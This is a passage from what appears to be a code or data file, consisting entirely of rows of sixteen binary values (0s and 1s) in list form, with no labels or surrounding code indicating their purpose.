            [0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1],
            [0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
            [0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1],
            [0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1],
            [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
            [0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0],
            [0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0],
            [0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1],
            [1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0],
            [0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1],
            [0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0],
            [0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0],
            [0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
            [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0],
            [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1],
            [0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
            [0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
            [0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1],
            [0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
            [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1],
            [0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0],
            [0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0],
            [0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0],
            [0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0],
            [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0],
            [0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0],
            [0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0],
            [0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1],
            [0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1],
            [0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1],
            [0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0],
            [1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1],
            [0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
            [0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1],
            [0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0],
            [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0],
            [0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0],
            [0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1],
            [0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1],
            [0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1],
            [0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0],
            [0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0],
            [0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0],
            [0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
            [0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1],
            [0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0],
            [0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1],
            [1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0],
            [0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1],
            [0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1],